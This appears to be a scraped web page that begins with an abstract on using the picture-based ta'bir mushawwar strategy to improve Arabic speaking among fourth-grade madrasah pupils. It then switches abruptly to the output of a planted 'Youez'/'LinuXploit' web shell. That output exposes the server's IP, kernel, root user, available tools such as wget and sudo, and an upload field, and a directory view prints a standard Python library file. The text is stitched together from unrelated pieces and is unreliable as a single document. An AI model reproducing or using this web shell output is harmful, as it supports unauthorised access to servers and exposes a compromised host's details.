Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah
Abstract
Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.
Server IP : 103.175.217.176 / Your IP : 13.58.61.197 Web Server : Apache/2.4.62 (Debian) System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64 User : root ( 0) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /lib/python3.9/ |
Upload File : |
"""A minimal subset of the locale module used at interpreter startup (imported by the _io module), in order to reduce startup time. Don't import directly from third-party code; use the `locale` module instead! """ import sys import _locale if sys.platform.startswith("win"): def getpreferredencoding(do_setlocale=True): if sys.flags.utf8_mode: return 'UTF-8' return _locale._getdefaultlocale()[1] else: try: _locale.CODESET except AttributeError: if hasattr(sys, 'getandroidapilevel'): # On Android langinfo.h and CODESET are missing, and UTF-8 is # always used in mbstowcs() and wcstombs(). def getpreferredencoding(do_setlocale=True): return 'UTF-8' else: def getpreferredencoding(do_setlocale=True): if sys.flags.utf8_mode: return 'UTF-8' # This path for legacy systems needs the more complex # getdefaultlocale() function, import the full locale module. import locale return locale.getpreferredencoding(do_setlocale) else: def getpreferredencoding(do_setlocale=True): assert not do_setlocale if sys.flags.utf8_mode: return 'UTF-8' result = _locale.nl_langinfo(_locale.CODESET) if not result and sys.platform == 'darwin': # nl_langinfo can return an empty string # when the setting has an invalid value. # Default to UTF-8 in that case because # UTF-8 is the default charset on OSX and # returning nothing will crash the # interpreter. result = 'UTF-8' return result
Youez - 2016 - github.com/yon3zu
LinuXploit